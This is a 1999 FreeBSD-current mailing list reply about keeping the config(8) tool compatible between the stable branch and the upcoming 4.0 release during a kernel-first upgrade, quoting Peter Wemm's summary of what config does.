	current@FreeBSD.ORG
Subject: Re: new sigset_t and upgrading: a proposal
References: <19991003030956.C3DBB1CB0@overcee.netplex.com.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Peter Wemm wrote:
> 
> For things like config etc, that particular problem is almost over.  It
> does very VERY little now and I can't see that we'll have incompatable
> changes (apart from shooting it and using a lightweight kernel/module build
> organizer/manager/whatever).  All config(8) does at present is three things:
> 1: build the Makefile and options files
> 2: extract fragments of the static configuration and export it in MI format
>    for the bootstrap.
> 3: get in the way.

How about stable's config? If upgrading to 4.0-STABLE is going to be
kernel-first, we need a compatible config in RELENG_3 as soon as
possible, if they are not the same already.
--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it done unto yours


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message